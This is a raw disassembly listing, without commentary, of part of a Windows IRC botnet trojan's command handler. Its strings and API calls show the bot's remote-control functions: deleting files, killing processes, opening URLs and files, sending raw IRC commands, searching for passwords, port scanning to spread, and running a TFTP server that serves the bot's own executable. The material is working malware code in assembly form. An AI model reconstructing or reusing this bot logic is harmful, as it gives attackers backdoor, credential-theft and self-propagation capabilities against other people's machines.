		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		push	eax
		call	sub_4073EC
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D600
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D600:				; CODE XREF: sub_409806+3DF1j
		push	offset aMircCommandSen ; "[mIRC]: Command sent."


loc_40D605:				; CODE XREF: sub_409806+3CC7j
					; sub_409806+3CD7j ...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40D60D:				; CODE XREF: sub_409806+3C2Ej
					; sub_409806+3CBDj
		cmp	[ebp+var_C], 0
		jnz	short loc_40D630
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40D630:				; CODE XREF: sub_409806+3A3Cj
					; sub_409806+3A4Ej ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		pop	ecx
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40D642:				; CODE XREF: sub_409806+1B0Bj
					; sub_409806+1B1Fj
		push	7Fh
		push	[ebp+var_8]
		lea	eax, [ebp+var_1840]
		push	eax
		call	sub_4169C0
		mov	ebx, [ebp+ebx+var_9C]
		xor	esi, esi
		add	esp, 0Ch
		cmp	ebx, esi
		jz	short loc_40D675
		push	7Fh
		lea	eax, [ebp+var_17C0]
		push	ebx
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_40D675:				; CODE XREF: sub_409806+3E5Bj
		push	7Fh
		push	[ebp+var_9C]
		lea	eax, [ebp+var_1740]
		push	eax
		call	sub_4169C0
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8]
		mov	[ebp+var_1844],	eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_16BC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_16B8],	eax
		lea	eax, [ebp+var_2F0]
		push	offset aVisitUrlS_ ; "[VISIT]: URL: %s."
		push	eax
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	15h
		push	eax
		call	sub_4136B6
		add	esp, 24h
		mov	[ebp+var_16C0],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1844]
		push	eax
		push	offset sub_413A01
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_16C0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40D727
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aVisitFailedToS ; "[VISIT]: Failed to start connection thr"...


loc_40D70B:				; CODE XREF: sub_409806+5168j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40D71F:				; CODE XREF: sub_409806+3F27j
		push	32h
		call	dword_422000	; Sleep


loc_40D727:				; CODE XREF: sub_409806+3EF7j
		cmp	[ebp+var_16B4],	esi
		jz	short loc_40D71F
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40D734:				; CODE XREF: sub_409806+1AE3j
					; sub_409806+1AF7j
		push	0
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_404807
		push	[ebp+var_8]
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_40CEBE
; ---------------------------------------------------------------------------


loc_40D754:				; CODE XREF: sub_409806+1ABBj
					; sub_409806+1ACFj
		push	20h
		push	[ebp+var_8]
		call	dword_4220CC	; SetFileAttributesA
		push	[ebp+var_8]
		call	dword_4220E4	; DeleteFileA
		test	eax, eax
		jz	short loc_40D776
		push	[ebp+var_8]
		push	offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'."
		jmp	short loc_40D781
; ---------------------------------------------------------------------------


loc_40D776:				; CODE XREF: sub_409806+3F64j
		push	offset aFile_0	; "[FILE]:"
		call	sub_407327
		push	eax


loc_40D781:				; CODE XREF: sub_409806+3F6Ej
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D


loc_40D792:				; CODE XREF: sub_409806+40A8j
		add	esp, 10h
		jmp	loc_40B921
; ---------------------------------------------------------------------------


loc_40D79A:				; CODE XREF: sub_409806+1A93j
					; sub_409806+1AA7j
		push	[ebp+var_8]
		call	sub_416C92
		push	eax
		call	sub_4090E5
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+var_8]
		cmp	eax, esi
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D7C1
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40D7C6
; ---------------------------------------------------------------------------


loc_40D7C1:				; CODE XREF: sub_409806+3FB2j
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40D7C6:				; CODE XREF: sub_409806+3FB9j
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	loc_40AEF5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h
		jmp	loc_40AEF5
; ---------------------------------------------------------------------------


loc_40D7FB:				; CODE XREF: sub_409806+1A6Bj
					; sub_409806+1A7Fj
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_408D07
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_40D834
		push	[ebp+var_8]
		push	offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s"


loc_40D825:				; CODE XREF: sub_409806+2F47j
		lea	eax, [ebp+var_2F0]


loc_40D82B:				; CODE XREF: sub_409806+3299j
					; sub_409806+4067j ...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40D834:				; CODE XREF: sub_409806+2F5Cj
					; sub_409806+323Dj ...
		cmp	[ebp+var_C], esi
		jnz	loc_40AEF2
		push	esi
		jmp	loc_40AED7
; ---------------------------------------------------------------------------


loc_40D843:				; CODE XREF: sub_409806+1A43j
					; sub_409806+1A57j
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_4]
		call	sub_408D07
		add	esp, 1Ch
		push	[ebp+var_8]
		cmp	eax, 1
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D86F
		push	offset aProcProcessK_1 ; "[PROC]: Process killed: %s"
		jmp	short loc_40D82B
; ---------------------------------------------------------------------------


loc_40D86F:				; CODE XREF: sub_409806+4060j
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	short loc_40D82B
; ---------------------------------------------------------------------------


loc_40D876:				; CODE XREF: sub_409806+1A1Bj
					; sub_409806+1A2Fj
		mov	esi, [ebp+var_8]
		push	esi
		call	dword_43A414	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40D8B3
		push	2
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_43A494	; gethostbyaddr
		test	eax, eax
		jz	short loc_40D8CE
		push	dword ptr [eax]


loc_40D89C:				; CODE XREF: sub_409806+40C6j
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
		push	eax
		call	sub_416905
		jmp	loc_40D792
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_409806+4080j
		push	esi
		call	dword_43A400	; gethostbyname
		test	eax, eax
		jz	short loc_40D8CE
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43A420	; inet_ntoa
		push	eax
		jmp	short loc_40D89C
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_409806+4092j
					; sub_409806+40B6j
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
		jmp	loc_40B913
; ---------------------------------------------------------------------------


loc_40D8D8:				; CODE XREF: sub_409806+19F3j
					; sub_409806+1A07j
		push	7Fh
		push	[ebp+var_8]
		push	[ebp+arg_14]
		call	sub_4169C0
		push	[ebp+var_8]
		lea	eax, [ebp+var_2F0]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax
		call	sub_416905
		add	esp, 18h
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40D901:				; CODE XREF: sub_409806+19CBj
					; sub_409806+19DFj
		push	5
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	offset aOpen	; "open"
		push	esi
		call	dword_43A4AC	; ShellExecuteA
		push	[ebp+var_8]
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40D92D
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_40D82B
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_409806+411Bj
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_40D82B
; ---------------------------------------------------------------------------


loc_40D937:				; CODE XREF: sub_409806+19A3j
					; sub_409806+19B7j
		mov	eax, [ebp+var_8]
		mov	cl, [eax]
		mov	byte_42FCD4, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40D950:				; CODE XREF: sub_409806+197Bj
					; sub_409806+198Fj
		push	[ebp+var_8]
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_40F8C3
		push	[ebp+var_8]
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		push	0
		push	0
		lea	eax, [ebp+var_C8]
		push	2
		push	eax
		call	sub_411098
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_416905
		add	esp, 1Ch
		jmp	loc_40CE04
; ---------------------------------------------------------------------------


loc_40D9A1:				; CODE XREF: sub_409806+1953j
					; sub_409806+1967j
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_409A84
		push	edi
		call	sub_416C92
		mov	esi, 1F4h
		cmp	eax, esi
		pop	ecx
		jge	loc_409A84
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405CD5
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422000	; Sleep
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	dword_43A4B0	; closesocket
		push	[ebp+var_18]
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B254[eax]
		call	dword_4220F0	; TerminateThread
		push	edi
		call	sub_416C92
		imul	eax, 234h
		and	dword_43B254[eax], 0
		push	edi
		call	sub_416C92
		imul	eax, 234h
		and	byte ptr dword_43B040[eax], 0
		pop	ecx
		pop	ecx
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40DA4F:				; CODE XREF: sub_409806+192Bj
					; sub_409806+193Fj
		mov	edi, [ebp+var_8]
		push	4
		mov	esi, offset aAll ; "all"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40DA8C
		call	sub_413827
		test	eax, eax
		jle	short loc_40DA74
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40EEA2
; ---------------------------------------------------------------------------


loc_40DA74:				; CODE XREF: sub_409806+4261j
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."


loc_40DA79:				; CODE XREF: sub_409806+4C7Bj
					; sub_409806+4C9Aj ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	loc_40D18A
; ---------------------------------------------------------------------------


loc_40DA8C:				; CODE XREF: sub_409806+4258j
		mov	edi, [ebp+var_20]
		jmp	short loc_40DAFE
; ---------------------------------------------------------------------------


loc_40DA91:				; CODE XREF: sub_409806+42FCj
		mov	esi, [ebp+edi*4+var_A4]
		test	esi, esi
		jz	loc_409A84
		push	esi
		call	sub_416C92
		push	eax
		call	sub_41379F
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2F0]
		jz	short loc_40DAC0
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_40DAC5
; ---------------------------------------------------------------------------


loc_40DAC0:				; CODE XREF: sub_409806+42B1j
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_40DAC5:				; CODE XREF: sub_409806+42B8j
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40DAF1
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40DAF1:				; CODE XREF: sub_409806+42CCj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_40DAFE:				; CODE XREF: sub_409806+4289j
		inc	edi
		cmp	edi, 20h
		jb	short loc_40DA91
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40DB09:				; CODE XREF: sub_409806+1903j
					; sub_409806+1917j
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	short loc_40DB96
; ---------------------------------------------------------------------------


loc_40DB40:				; CODE XREF: sub_409806+18DBj
					; sub_409806+18EFj
		push	[ebp+var_8]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	[ebp+var_8]
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	short loc_40DB96
; ---------------------------------------------------------------------------


loc_40DB5A:				; CODE XREF: sub_409806+18B3j
					; sub_409806+18C7j
		push	[ebp+ebx+var_9C]
		push	[ebp+var_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	[ebp+var_8]
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_40CEBE
; ---------------------------------------------------------------------------


loc_40DB7E:				; CODE XREF: sub_409806+188Bj
					; sub_409806+189Fj
		push	[ebp+var_8]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	[ebp+var_8]
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."


loc_40DB96:				; CODE XREF: sub_409806+37ECj
					; sub_409806+4338j ...
		call	sub_401F41


loc_40DB9B:				; CODE XREF: sub_409806+3852j
		add	esp, 14h
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40DBA3:				; CODE XREF: sub_409806+1851j
					; sub_409806+1865j
		mov	cl, byte_42E356
		and	[ebp+arg_0], 0
		test	cl, cl
		mov	edx, offset byte_42E356
		jz	loc_409A84
		mov	eax, edx


loc_40DBBC:				; CODE XREF: sub_409806+43BFj
		inc	[ebp+arg_0]
		add	eax, 0Bh
		cmp	byte ptr [eax],	0
		jnz	short loc_40DBBC
		test	cl, cl
		jz	loc_409A84
		mov	[ebp+var_1C], edx


loc_40DBD2:				; CODE XREF: sub_409806+46A3j
		push	9
		call	sub_4138A6
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_40DC22
		push	ecx
		lea	eax, [ebp+var_2F0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 20h
		jmp	loc_40DE9F
; ---------------------------------------------------------------------------


loc_40DC22:				; CODE XREF: sub_409806+43E6j
		or	[ebp+var_4D8], 0FFFFFFFFh
		xor	esi, esi
		cmp	dword_42E068, esi
		mov	[ebp+var_4DC], 0C8h
		mov	[ebp+var_4F0], 5
		mov	[ebp+var_4EC], esi
		mov	[ebp+arg_0], esi
		jz	short loc_40DCB5
		mov	edx, [ebp+var_1C]
		add	edx, 0FFFFFFF6h
		mov	edi, offset dword_42E068


loc_40DC5B:				; CODE XREF: sub_409806+4491j
		mov	esi, edx
		lea	eax, [edi-28h]


loc_40DC60:				; CODE XREF: sub_409806+4476j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40DC84
		test	cl, cl
		jz	short loc_40DC7E
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40DC84
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40DC60


loc_40DC7E:				; CODE XREF: sub_409806+4464j
		xor	esi, esi
		xor	eax, eax
		jmp	short loc_40DC8B
; ---------------------------------------------------------------------------


loc_40DC84:				; CODE XREF: sub_409806+4460j
					; sub_409806+446Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		xor	esi, esi


loc_40DC8B:				; CODE XREF: sub_409806+447Cj
		cmp	eax, esi
		jz	short loc_40DC9B
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], esi
		jnz	short loc_40DC5B
		jmp	short loc_40DCB5
; ---------------------------------------------------------------------------


loc_40DC9B:				; CODE XREF: sub_409806+4487j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42E068[ecx]
		mov	[ebp+var_4F4], ecx
		mov	[ebp+var_4D8], eax


loc_40DCB5:				; CODE XREF: sub_409806+4448j
					; sub_409806+4493j
		cmp	[ebp+var_4F4], esi
		jz	loc_40DEC6
		push	10h
		pop	esi
		lea	eax, [ebp+var_BC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_BC], esi
		call	dword_43A308	; getsockname
		mov	al, [ebp+var_38F]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_608]
		push	eax
		call	sub_4169C0
		xor	eax, eax
		cmp	[ebp+var_38F], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_608]
		push	eax
		call	sub_416960
		add	esp, 14h
		xor	bl, bl
		test	esi, esi
		jle	short loc_40DD5B


loc_40DD3B:				; CODE XREF: sub_409806+4553j
		test	eax, eax
		jz	short loc_40DD5B
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_608]
		push	30h
		push	eax
		call	sub_416960
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, esi
		jl	short loc_40DD3B


loc_40DD5B:				; CODE XREF: sub_409806+4533j
					; sub_409806+4537j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4D0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4CC], eax
		mov	ebx, 80h
		lea	eax, [ebp+var_5F8]
		push	ebx
		push	eax
		mov	[ebp+var_4C8], 1
		call	sub_416B5D
		xor	ecx, ecx
		add	esp, 0Ch
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 422B0Ah
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40DDC3
		push	eax
		lea	eax, [ebp+var_578]
		push	ebx
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		jmp	short loc_40DDCA
; ---------------------------------------------------------------------------


loc_40DDC3:				; CODE XREF: sub_409806+45A8j
		and	[ebp+var_578], 0


loc_40DDCA:				; CODE XREF: sub_409806+45BBj
		xor	esi, esi
		cmp	[ebp+var_4C8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40DDDE
		mov	eax, offset aSequential	; "Sequential"


loc_40DDDE:				; CODE XREF: sub_409806+45D1j
		push	[ebp+var_4DC]
		lea	ecx, [ebp+var_608]
		push	[ebp+var_4EC]
		push	[ebp+var_4F0]
		push	[ebp+var_4F4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_4136B6
		add	esp, 2Ch
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_608]
		push	eax
		push	offset sub_401B65
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_4E8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40DEBC
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40DE71:				; CODE XREF: sub_409806+46BEj
		cmp	[ebp+var_C], esi
		jnz	short loc_40DE92
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40DE92:				; CODE XREF: sub_409806+466Ej
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_40DE9F:				; CODE XREF: sub_409806+4417j
		add	[ebp+var_1C], 0Bh
		mov	eax, [ebp+var_1C]
		cmp	byte ptr [eax],	0
		jnz	loc_40DBD2
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40DEB4:				; CODE XREF: sub_409806+46BCj
		push	32h
		call	dword_422000	; Sleep


loc_40DEBC:				; CODE XREF: sub_409806+464Ej
		cmp	[ebp+var_4C4], esi
		jz	short loc_40DEB4
		jmp	short loc_40DE71
; ---------------------------------------------------------------------------


loc_40DEC6:				; CODE XREF: sub_409806+44B5j
		lea	eax, [ebp+var_2F0]
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	loc_40F1E6
; ---------------------------------------------------------------------------


loc_40DEDE:				; CODE XREF: sub_409806+1829j
					; sub_409806+183Dj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_B4]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_B8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_C]
		push	offset aFindpassSearch ; "[FINDPASS]: Searching	for password."
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Eh
		push	eax
		call	sub_4136B6
		add	esp, 24h
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset sub_403DEF
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_34]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40DF7C
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aFindpassFail_0 ; "[FINDPASS]: Failed to	start search thre"...
		jmp	loc_40C9D8
; ---------------------------------------------------------------------------


loc_40DF74:				; CODE XREF: sub_409806+4779j
		push	32h
		call	dword_422000	; Sleep


loc_40DF7C:				; CODE XREF: sub_409806+475Bj
		cmp	[ebp+var_28], esi
		jz	short loc_40DF74
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40DF86:				; CODE XREF: sub_409806+1801j
					; sub_409806+1815j
		push	5
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_40DFAA
		lea	eax, [ebp+var_2F0]
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."
		push	eax
		call	sub_416905
		xor	edi, edi
		jmp	loc_40F5CA
; ---------------------------------------------------------------------------


loc_40DFAA:				; CODE XREF: sub_409806+478Aj
		mov	eax, [ebp+ebx+var_A0]
		xor	edi, edi
		cmp	eax, edi
		mov	esi, 104h
		jz	short loc_40DFCF
		push	eax
		lea	eax, [ebp+var_1444]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		jmp	short loc_40DFDE
; ---------------------------------------------------------------------------


loc_40DFCF:				; CODE XREF: sub_409806+47B4j
		push	esi
		lea	eax, [ebp+var_1444]
		push	eax
		push	edi
		call	dword_42200C	; GetModuleFileNameA


loc_40DFDE:				; CODE XREF: sub_409806+47C7j
		mov	ebx, [ebp+ebx+var_9C]
		cmp	ebx, edi
		jnz	short loc_40DFEE
		mov	ebx, offset byte_42FD48


loc_40DFEE:				; CODE XREF: sub_409806+47E1j
		push	ebx
		lea	eax, [ebp+var_1340]
		push	esi
		push	eax
		call	sub_416B5D
		mov	eax, dword_42FCBC
		mov	[ebp+var_1234],	eax
		mov	eax, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_1448],	eax
		lea	eax, [ebp+var_1230]
		push	eax
		mov	[ebp+var_1238],	edi
		call	sub_4169C0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_11B0],	eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_11AC],	eax
		lea	eax, [ebp+var_1340]
		push	eax
		lea	eax, [ebp+var_1444]
		push	eax
		push	[ebp+var_1234]
		lea	eax, [ebp+var_2F0]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_2F0]
		push	5
		push	eax
		call	sub_4136B6
		add	esp, 38h
		mov	[ebp+var_123C],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_1448]
		push	eax
		push	offset sub_4131EE
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_123C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E0D0
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40F5CC
; ---------------------------------------------------------------------------


loc_40E0C8:				; CODE XREF: sub_409806+48D0j
		push	32h
		call	dword_422000	; Sleep


loc_40E0D0:				; CODE XREF: sub_409806+48A0j
		cmp	[ebp+var_11A8],	edi
		jz	short loc_40E0C8
		jmp	loc_40F5CC
; ---------------------------------------------------------------------------


loc_40E0DD:				; CODE XREF: sub_409806+17D9j
					; sub_409806+17EDj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40E0FC
		push	esi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jz	short loc_40E0FC
		push	esi
		call	sub_416C92
		pop	ecx
		jmp	short loc_40E101
; ---------------------------------------------------------------------------


loc_40E0FC:				; CODE XREF: sub_409806+48E0j
					; sub_409806+48EBj
		mov	eax, dword_42FCC0


loc_40E101:				; CODE XREF: sub_409806+48F4j
		mov	ebx, [ebp+ebx+var_9C]
		mov	[ebp+var_AFC], eax
		xor	eax, eax
		cmp	[ebp+var_38C], al
		setz	al
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_AE8], eax
		jz	short loc_40E136
		lea	eax, [ebp+var_C00]
		push	ebx
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_40E161
; ---------------------------------------------------------------------------


loc_40E136:				; CODE XREF: sub_409806+491Dj
		push	104h
		lea	eax, [ebp+var_84C]
		push	eax
		call	dword_422048	; GetSystemDirectoryA
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_84C]
		push	eax
		call	sub_41802F
		add	esp, 14h


loc_40E161:				; CODE XREF: sub_409806+492Ej
		lea	eax, [ebp+var_C00]
		lea	edx, [eax+1]


loc_40E16A:				; CODE XREF: sub_409806+4969j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40E16A
		sub	eax, edx
		cmp	[ebp+eax+var_C01], 5Ch
		jnz	short loc_40E196
		lea	eax, [ebp+var_C00]
		lea	edx, [eax+1]


loc_40E186:				; CODE XREF: sub_409806+4985j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40E186
		sub	eax, edx
		and	[ebp+eax+var_C01], cl


loc_40E196:				; CODE XREF: sub_409806+4975j
		push	[ebp+var_9C]
